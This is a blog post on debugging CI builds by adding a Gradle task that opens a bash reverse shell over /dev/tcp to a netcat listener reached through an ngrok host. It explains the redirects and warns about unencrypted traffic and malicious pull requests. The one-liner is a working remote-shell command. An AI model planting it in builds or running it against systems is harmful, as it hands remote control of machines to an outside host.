Christopher Orr

Creating a reverse shell with Gradle

Many times I’ve been dealing with build automation issues, and wanted to access the machine where the build is running. However the build is often running on a temporary virtual machine, doesn’t have SSH access, or is happening in a Docker container, etc.

This week, I was trying to debug a Docker-in-Docker setup running on GitLab CI/CD, when I remembered a reverse shell setup I’d come up with a few years ago.

Since I can’t connect to the machine during the build — GitLab doesn’t make it possible to pause a build or log in to the build machine when using their hosted runners — instead I made the machine connect to me.

What’s more, this works on any machine or container that has a Bash shell available, without having to install any extra software!

Setup

Outbound internet access is available from most CI systems. This means I can update my build script to make a connection to a listening TCP port on my laptop. That’s the reverse part of a reverse shell: instead of my laptop connecting to the build machine and starting a shell, the build machine starts a shell and connects to my laptop.

While the core of this can be done with any build system, I’m almost always using Gradle, and I was able to implement this with a single Gradle task:

val reverseShell by tasks.registering {
  dependsOn(startPostgresContainer)

  doLast {
    exec {
      workingDir(rootProject.rootDir)
      commandLine(
        "/bin/bash",
        "-i",
        ">& /dev/tcp/2.tcp.eu.ngrok.io/15132 0>&1",
      )
    }
  }
}

tasks.doSomethingWithDatabase {
  dependsOn(startPostgresContainer, reverseShell)
}

In this example, I wanted the reverseShell task to start after a Docker-in-Docker container was started up, but before the the build then attempts to use that database. This Gradle task remains running until the shell connection is closed from my laptop.

Usage

  1. Use Netcat to listen on an arbitrary TCP port: nc -l 9000
  2. Use ngrok to expose that port to the public internet: ngrok tcp 9000
    • This will assign you a host and port like 2.tcp.eu.ngrok.io:15132
    • (or run nc from some other machine that has a public IP address)
  3. Update the Gradle task so that /dev/tcp/<host>/<port> matches the host and port
    • (this could be smarter, e.g. passing in the host/port as environment variables)
  4. Run the Gradle build, and wait for the reverseShell task to run
    • You should see a shell prompt appear in the window where nc is listening
  5. Start typing into the terminal where nc is running
    • Any command you type, followed by Enter will be forwarded to the remote shell, and the results shown here 🎉
    • Type Ctrl+D or Ctrl+C to close the connection, which will end the Gradle task

How it works

The core of the reverse shell is this command:

/bin/bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/15132 0>&1

Being able to create a TCP connection just by writing to a pseudo-file like /dev/tcp/<host>/<port> is what makes this so simple.

However, I was surprised to learn that this is actually a built-in feature of Bash, rather than something available on all Linux or Unix-like systems. So there is a dependency on Bash, which is available on most machines, but perhaps not all Docker images.

Understanding file redirects isn’t always so easy, but the overview of this command is:

  1. bash -i launches in interactive mode, so the shell stays open and listening on stdin
  2. >& /dev/tcp/2.tcp.eu.ngrok.io/15132 binds both the bash stdout and stderr streams to a TCP socket connected with the given host and port
  3. 0>&1 binds stdin (FD 0) to stdout (FD 1), which is in turn bound to the TCP socket. This means that bash receives its input (stdin) from the remote connection

i.e. rather than bash having its stdin/stdout/stderr all being bound to a terminal on the local machine, these streams are instead all bound to a TCP connection.

Notes

While this is a fairly simple way of being able to execute commands on an arbitrary machine, without having to install any extra software, it’s not without its downsides.

The biggest issue is that communication is completely unencrypted: we’re establishing a raw TCP connection between these two hosts — there’s no SSH or other tunnels involved. Therefore you should be mindful of what you’re reading or writing over such a connection.

Also remember that CI systems are essentially remote execution as-a-service. Be wary of people being able to open a pull request against your repo, that could add a reverse shell to gain access to your build machines.

Final thought

I’ve made good use of this technique, and it works wherever Bash is available (or can be readily installed). I hope this info can be useful for you, too. Let me know what you think.